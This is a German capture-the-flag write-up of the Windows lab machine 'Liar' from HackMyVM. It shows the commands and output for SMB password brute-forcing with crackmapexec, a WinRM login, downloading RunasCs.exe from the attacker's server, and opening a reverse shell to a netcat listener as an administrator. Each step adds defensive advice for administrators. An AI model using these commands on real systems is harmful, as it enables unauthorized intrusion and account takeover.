Liar - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
smbclient
evil-winrm
crackmapexec
unzip
python3 http.server
Start-BitsTransfer (PS)
RunasCs.exe
nc
cat
ls / dir (PS)
cd (PS)
whoami (PS)
net user (PS)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.135	08:00:27:77:8f:b3	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu identifizieren.

Bewertung: Ein aktives Gerät mit der IP-Adresse `192.168.2.135` wurde gefunden. Die MAC-Adresse `08:00:27:77:8f:b3` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-Umgebung hin.

Empfehlung (Pentester): Notieren Sie die IP `192.168.2.135` als Ziel für weitere Scans.
Empfehlung (Admin): Standard-Netzwerkscan. Implementieren Sie Netzwerküberwachung.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
# Eintrag hinzugefügt:
192.168.2.135   liar.hmv
                      

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `liar.hmv` der Ziel-IP `192.168.2.135` zuzuordnen.

Bewertung: Vereinfacht den Zugriff auf das Zielsystem, insbesondere auf Webdienste.

Empfehlung (Pentester): Verwenden Sie `liar.hmv` für Web-Interaktionen.
Empfehlung (Admin): Standardvorgehen von Angreifern.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.135
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.135
+ Target Hostname:    192.168.2.135
+ Target Port:        80
+ Start Time:         2023-10-01 22:29:17 (GMT2)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/10.0
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST .
+ OPTIONS: Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2023-10-01 22:29:31 (GMT2) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: `nikto` scannt den Webserver auf Port 80.

Bewertung: Wichtigster Fund: Der Server ist `Microsoft-IIS/10.0`, was auf ein **Windows-System** hindeutet. Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) werden gemeldet. Die HTTP-Methode `TRACE` ist erlaubt, was ein potenzielles Risiko für Cross-Site Tracing (XST) darstellt.

Empfehlung (Pentester): Bestätigen Sie Windows als Betriebssystem mit `nmap`. Testen Sie auf XST. Konzentrieren Sie die weitere Enumeration auf IIS und Windows-spezifische Schwachstellen.
Empfehlung (Admin): Deaktivieren Sie die TRACE-Methode im IIS. Implementieren Sie die fehlenden Sicherheitsheader.

┌──(root㉿Cybermaschine)-[~] └─# nmap -v -T5 -n 192.168.2.135 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-01 22:36 CEST
Initiating ARP Ping Scan at 22:36
Scanning 192.168.2.135 [1 port]
Completed ARP Ping Scan at 22:36, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:36
Scanning 192.168.2.135 [65535 ports]
Discovered open port 139/tcp on 192.168.2.135
Discovered open port 135/tcp on 192.168.2.135
Discovered open port 80/tcp on 192.168.2.135
Discovered open port 445/tcp on 192.168.2.135
Increasing send delay for 192.168.2.135 from 0 to 5 due to 92 out of 229 dropped probes since last increase.
[...] 
                     

Analyse: Ein initialer `nmap`-Scan (`-v` verbose, `-T5` insane timing, `-n` no DNS resolution, `-p-` all ports) wird gestartet. Version Scan (`-sV`) und Skript Scan (`-sC`) fehlen hier noch.

Bewertung: Der Scan identifiziert schnell die klassischen Windows-Ports: 80 (HTTP), 135 (msrpc), 139 (netbios-ssn), 445 (microsoft-ds). Der Scan scheint jedoch aufgrund von verworfenen Paketen ("dropped probes") sehr langsam zu werden oder wurde abgebrochen. Dies könnte auf eine Firewall oder Intrusion Prevention System (IPS) hindeuten.

Empfehlung (Pentester): Führen Sie einen gezielteren Nmap-Scan mit Versions- und Skript-Erkennung auf den gefundenen Ports durch. Verwenden Sie `-Pn`, falls der Host nicht auf Pings antwortet. Passen Sie ggf. das Timing (`-T`) an.
Empfehlung (Admin): Überprüfen Sie Firewall/IPS-Logs. Stellen Sie sicher, dass nur notwendige Ports geöffnet sind.

Web Enumeration

[Manual Browser Interaction]
# Zugriff auf: http://liar.hmv/
# Sichtbarer Text: Hey bro, You asked for an easy Windows VM, enjoy it. - nica
# Wappalyzer/Header Info: Server Microsoft-IIS/10.0
                      

Analyse: Die Webseite auf Port 80 wird aufgerufen.

Bewertung: Die Seite enthält eine direkte Nachricht vom Ersteller "nica", was diesen als potenziellen Benutzernamen hervorhebt. Der Webserver wird erneut als Microsoft-IIS/10.0 bestätigt.

Empfehlung (Pentester): Fügen Sie "nica" zur Benutzerliste hinzu. Suchen Sie nach weiteren Inhalten oder Verzeichnissen auf dem Webserver.
Empfehlung (Admin): Entfernen Sie Entwicklerkommentare oder Hinweise aus öffentlich zugänglichen Webseiten.

Credential Gathering (SMB Brute-Force)

┌──(root㉿Cybermaschine)-[~] └─# smbclient //192.168.2.135 -L "nica" -P "hardcore"
ldb: Unable to open tdb '/var/lib/samba/private/secrets.ldb': Datei oder Verzeichnis nicht gefunden
[...]
Could not find machine account in secrets database: Failed to fetch machine account password [...]
Failed to set machine account: NT_STATUS_CANT_ACCESS_DMAIN_INF
session setup failed: NT_STATUS_CANT_ACCESS_DMAIN_INF 
                     

Analyse: Es wird versucht, mit `smbclient` die SMB-Shares auf dem Ziel aufzulisten (`-L`), wobei die (geratenen?) Anmeldeinformationen `nica`:`hardcore` verwendet werden.

Bewertung: Der Befehl scheitert. Die Fehlermeldung `NT_STATUS_CANT_ACCESS_DOMAIN_INFO` oder ähnliches deutet typischerweise auf falsche Anmeldeinformationen oder fehlende Berechtigungen hin. Der Versuch, diese spezifischen Credentials zu verwenden, war nicht erfolgreich.

Empfehlung (Pentester): Verwenden Sie Tools wie `crackmapexec` oder `hydra`, um systematisch Passwörter für den Benutzer `nica` gegen den SMB-Dienst (Port 445) zu testen.
Empfehlung (Admin): Überwachen Sie fehlgeschlagene SMB-Logins. Verwenden Sie starke Passwörter.

┌──(root㉿Cybermaschine)-[~] └─# crackmapexec smb 192.168.2.135 -u 'nica' -p '/usr/share/wordlists/rockyou.txt'
SMB         192.168.2.135   445    WIN-IURF14RBVGV  [*] Windows 10.0 Build 17763 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)
SMB         192.168.2.135   445    WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\nica:hardcore
                     

Analyse: `crackmapexec` wird verwendet, um einen Passwort-Spray/Brute-Force-Angriff gegen den SMB-Dienst (Port 445) für den Benutzer `nica` mit der Passwortliste `rockyou.txt` durchzuführen.

Bewertung: **Erfolg!** `crackmapexec` findet das korrekte Passwort für den Benutzer `nica`: `hardcore`. Es identifiziert auch den Hostnamen (`WIN-IURF14RBVGV`) und die Windows-Version (10.0 Build 17763, entspricht Windows Server 2019 oder Windows 10 1809).

Empfehlung (Pentester): Verwenden Sie die gefundenen Zugangsdaten `nica`:`hardcore`, um sich über SMB oder WinRM (Windows Remote Management) am System anzumelden.
Empfehlung (Admin): Ändern Sie das schwache Passwort für `nica`. Implementieren Sie Account-Lockout-Policies und überwachen Sie SMB-Logins.

Initial Access (WinRM)

┌──(root㉿Cybermaschine)-[~] └─# evil-winrm -i 192.168.2.135 -u 'nica' -p 'hardcore'
Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nica\Documents>
                     

Analyse: Das Tool `evil-winrm` wird verwendet, um eine PowerShell-basierte Remote-Shell über das WinRM-Protokoll aufzubauen, wobei die zuvor gefundenen Zugangsdaten `nica`:`hardcore` genutzt werden.

Bewertung: **Initial Access erfolgreich!** Die Verbindung wird hergestellt, und wir erhalten eine PowerShell-Eingabeaufforderung (`*Evil-WinRM* PS C:\Users\nica\Documents>`) als Benutzer `nica`.

Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration im Windows-System: `whoami`, `whoami /priv`, `net user`, `net localgroup`, Suche nach Flags (`dir /b /s user.txt`, `dir /b /s root.txt`), etc.
Empfehlung (Admin): Überwachen Sie WinRM-Verbindungen. Beschränken Sie WinRM-Zugriff auf administrative Konten und/oder bestimmte Quell-IPs, falls möglich. Stellen Sie sicher, dass alle Konten starke Passwörter haben.

*Evil-WinRM* PS C:\Users\nica\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\nica\Desktop> dir
*Evil-WinRM* PS C:\Users\nica\Desktop> whoami
win-iurf14rbvgv\nica
*Evil-WinRM* PS C:\Users\nica\Desktop> whoami /priv
INFORMACIÓN DE PRIVILEGIOS
--------------------------

Nombre de privilegio          Descripción                                  Estado
============================= ============================================ =========
SeChangeNotifyPrivilege       Omitir comprobación de recorrido             Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Habilitada
                      

Analyse: Grundlegende Enumerationsbefehle werden in der WinRM-Shell ausgeführt: Wechsel ins Desktop-Verzeichnis (leer), Bestätigung des Benutzernamens (`nica`) und Überprüfung der Benutzerprivilegien.

Bewertung: Der Benutzer `nica` hat nur Standardprivilegien (`SeChangeNotifyPrivilege`, `SeIncreaseWorkingSetPrivilege`), keine administrativen oder anderweitig interessanten Rechte.

Empfehlung (Pentester): Untersuchen Sie das Benutzerprofil (`C:\Users\nica`) weiter, insbesondere auf die `user.txt`-Datei. Suchen Sie nach Wegen zur Privilege Escalation.
Empfehlung (Admin): Prinzip der geringsten Rechte anwenden. Normale Benutzer sollten keine unnötigen Privilegien haben.

*Evil-WinRM* PS C:\Users\nica> ls

    Directorio: C:\Users\nica

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        9/15/2018   9:12 AM                Desktop
d-r---        9/26/2023   6:44 PM                Documents
d-r---        9/15/2018   9:12 AM                Downloads
[...]
-a----        9/26/2023   6:44 PM             10 user.txt
                      
*Evil-WinRM* PS C:\Users\nica> cat user.txt
HMVWINGIFT

Analyse: Das Home-Verzeichnis von `nica` wird aufgelistet und die Datei `user.txt` wird gefunden und ausgelesen.

Bewertung: Die User-Flagge `HMVWINGIFT` wurde erfolgreich gefunden.

Empfehlung (Pentester): Flag notiert. Konzentrieren Sie sich auf die Privilege Escalation.
Empfehlung (Admin): Keine.

*Evil-WinRM* PS C:\Users\nica> net user
Cuentas de usuario de \\WIN-IURF14RBVGV
-------------------------------------------------------------------------------
Administrador            akanksha                 DefaultAccount
Invitado                 nica                     WDAGUtilityAccount
El comando se ha completado correctamente. 
                      

Analyse: Der Befehl `net user` listet die lokalen Benutzerkonten auf dem System auf.

Bewertung: Bestätigt die bereits bekannten Benutzer `Administrador` (Administrator), `akanksha`, `nica` sowie Standardkonten. `akanksha` und `Administrador` sind die Hauptziele für die Eskalation.

Empfehlung (Pentester): Versuchen Sie, Passwörter für `akanksha` oder `Administrador` zu finden oder zu bruteforcen. Suchen Sie nach Möglichkeiten, Aktionen im Kontext dieser Benutzer auszuführen.
Empfehlung (Admin): Deaktivieren Sie ungenutzte Konten (z.B. `Invitado`/Guest). Verwenden Sie starke Passwörter für alle Konten, insbesondere für Administratoren.

Proof of Concept (Privilege Escalation Path)

Analyse: Nachdem festgestellt wurde, dass der Benutzer `nica` keine administrativen Rechte hat, aber ein weiteres Konto `akanksha` existiert, ist der nächste Schritt, Zugriff als `akanksha` zu erlangen. Das Passwort für `akanksha` wird mittels `crackmapexec` gefunden (`sweetgirl`).

Bewertung: Obwohl der direkte WinRM-Login als `akanksha` fehlschlägt (Autorisierungsfehler), kann `nica` das Tool `RunasCs.exe` verwenden (das auf das System hochgeladen wird). Dieses Tool ermöglicht es, einen Befehl als ein anderer Benutzer auszuführen, wenn dessen Anmeldedaten bekannt sind. Durch Ausführen von `RunasCs.exe akanksha sweetgirl cmd.exe -r [ListenerIP]:[Port]` wird eine Reverse Shell als Benutzer `akanksha` gestartet. Die Überprüfung von `akanksha`s Gruppen (`net user akanksha`) zeigt, dass dieser Benutzer Mitglied der Gruppe `Administradores` ist. Dies bedeutet, dass die Shell mit administrativen Rechten läuft.

Empfehlung (Pentester): 1. Besorgen Sie sich das `RunasCs.exe`-Tool. 2. Hosten Sie es auf einem Webserver. 3. Laden Sie es über die `nica`-WinRM-Shell auf das Zielsystem herunter (z.B. mit `Start-BitsTransfer`). 4. Starten Sie einen Netcat-Listener auf Ihrem Angreifersystem. 5. Führen Sie in der `nica`-Shell `.\RunasCs.exe akanksha sweetgirl cmd.exe -r [IhreIP]:[IhrPort]` aus. 6. Die eingehende Reverse Shell auf Ihrem Listener läuft nun als `akanksha` mit administrativen Rechten. 7. Navigieren Sie zum Desktop des Administrators (`C:\Users\Administrador\Desktop`) und lesen Sie die Root-Flagge.
Empfehlung (Admin): **KRITISCH:** Verhindern Sie die Ausführung nicht vertrauenswürdiger Executables (z.B. durch AppLocker oder andere Whitelisting-Lösungen). Überwachen Sie die Verwendung von Tools wie `RunasCs`. Stellen Sie sicher, dass Benutzerkonten nur die minimal notwendigen Berechtigungen haben (Benutzer `akanksha` sollte möglicherweise kein Administrator sein). Sichern Sie alle Konten mit starken Passwörtern.

Privilege Escalation (nica zu akanksha zu Administrator)

┌──(root㉿Cybermaschine)-[~] └─# crackmapexec smb 192.168.2.135 -u 'akanksha' -p '/usr/share/wordlists/rockyou.txt'
SMB         192.168.2.135   445    WIN-IURF14RBVGV  [*] Windows 10.0 Build 17763 [...]
SMB         192.168.2.135   445    WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\akanksha:sweetgirl
                     

Analyse: Erneuter `crackmapexec`-Lauf, diesmal gezielt auf den Benutzer `akanksha`.

Bewertung: Findet erfolgreich das Passwort `sweetgirl` für den Benutzer `akanksha`.

Empfehlung (Pentester): Versuchen Sie, diese Zugangsdaten für WinRM oder andere Dienste zu verwenden.
Empfehlung (Admin): Ändern Sie das schwache Passwort für `akanksha`.

┌──(root㉿Cybermaschine)-[~] └─# evil-winrm -i 192.168.2.135 -u 'akanksha' -p 'sweetgirl'
[...]
Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1
                     

Analyse: Versuch, sich mit den gefundenen Zugangsdaten für `akanksha` per WinRM anzumelden.

Bewertung: Der Login scheitert mit einem Autorisierungsfehler. Obwohl das Passwort korrekt ist, darf sich `akanksha` nicht per WinRM anmelden. Dies ist eine mögliche Sicherheitskonfiguration.

Empfehlung (Pentester): Der direkte Login als `akanksha` ist blockiert. Nutzen Sie die `nica`-Shell und Tools wie `RunasCs`, um Aktionen im Kontext von `akanksha` auszuführen.
Empfehlung (Admin): Überprüfen Sie die WinRM-Zugriffsberechtigungen. Es ist eine gute Praxis, den Remote-Zugriff auf administrative Konten zu beschränken.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# unzip RunasCs.zip
Archive:  RunasCs.zip
  inflating: RunasCs.exe
  inflating: RunasCs_net2.exe
┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
*Evil-WinRM* PS C:\Users\nica> start-bitstransfer -source http://192.168.2.199/RunasCs.exe
*Evil-WinRM* PS C:\Users\nica> ls
    Directory: C:\Users\nica

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
[...]
-a----        5/20/2023  12:37 AM          51712 RunasCs.exe
-a----        9/26/2023   6:44 PM             10 user.txt
                     
192.168.2.135 - - [01/Oct/2023 22:54:14] "HEAD /RunasCs.exe HTTP/1.1" 200 -
192.168.2.135 - - [01/Oct/2023 22:54:14] "GET /RunasCs.exe HTTP/1.1" 200 -
                     

Analyse: Auf dem Angreifersystem wird das Tool `RunasCs.exe` vorbereitet und über einen Python-HTTP-Server bereitgestellt. Über die `nica`-WinRM-Shell wird `RunasCs.exe` mittels BITS (Background Intelligent Transfer Service) auf das Zielsystem heruntergeladen. Die erfolgreiche Übertragung wird durch `ls` bestätigt.

Bewertung: Das notwendige Werkzeug für die Ausführung von Befehlen als `akanksha` befindet sich nun auf dem Zielsystem.

Empfehlung (Pentester): Führen Sie `RunasCs.exe` aus, um eine Reverse Shell als `akanksha` zu erhalten.
Empfehlung (Admin): Überwachen Sie die Verwendung von BITS für verdächtige Transfers. Verhindern Sie die Ausführung nicht autorisierter Tools.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4545
listening on [any] 4545 ...
*Evil-WinRM* PS C:\Users\nica> .\RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.2.199:4545
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-8ac013$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1476 created in background.
                     
┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4545
listening on [any] 4545 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.135] 49692
Microsoft Windows [Versión 10.0.17763.107]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>whoami
win-iurf14rbvgv\akanksha

C:\Windows\system32>
                      

Analyse: Ein Listener wird auf Port 4545 gestartet. In der `nica`-Shell wird `RunasCs.exe` ausgeführt, um `cmd.exe` als Benutzer `akanksha` (mit Passwort `sweetgirl`) zu starten und dessen I/O an den Listener umzuleiten (`-r 192.168.2.199:4545`).

Bewertung: **Erfolg!** Der Listener empfängt eine Verbindung, die eine `cmd.exe`-Shell darstellt. `whoami` bestätigt, dass die Shell als `akanksha` läuft. Die Privilegien wurden erfolgreich von `nica` zu `akanksha` eskaliert.

Empfehlung (Pentester): Überprüfen Sie die Gruppenmitgliedschaft von `akanksha` (`net user akanksha`), um administrative Rechte zu bestätigen. Navigieren Sie zum Administrator-Desktop und lesen Sie die Root-Flagge.
Empfehlung (Admin): Verhindern Sie die Ausführung von Tools wie `RunasCs`. Überwachen Sie Prozessstarts und Netzwerkverbindungen.

C:\Windows\system32> net user akanksha
Nombre de usuario                          akanksha
[...]
Miembros del grupo local                   *Administradores
                                          *Usuarios
[...]
Se ha completado el comando correctamente.
                      
C:\Windows\system32> cd C:\Users\Administrador\Desktop
C:\Users\Administrador\Desktop> type root.txt
HMV1STWINDWZ

Analyse: In der `akanksha`-Shell wird `net user akanksha` ausgeführt, um die Gruppenzugehörigkeit zu überprüfen. Anschließend wird (angenommen) zum Administrator-Desktop navigiert und die `root.txt`-Datei ausgelesen.

Bewertung: `net user` bestätigt, dass `akanksha` Mitglied der Gruppe `Administradores` ist. Somit hat die erhaltene Shell administrative Rechte. Die Root-Flagge `HMV1STWINDWZ` wird erfolgreich gelesen.

Empfehlung (Pentester): Ziel erreicht. Maschine abgeschlossen.
Empfehlung (Admin): Beheben Sie die Schwachstellen, die zur Eskalation führten (schwache Passwörter, unsichere Tools wie RunasCs zulassen).

Flags

cat C:\Users\nica\user.txt
HMVWINGIFT
type C:\Users\Administrador\Desktop\root.txt
HMV1STWINDWZ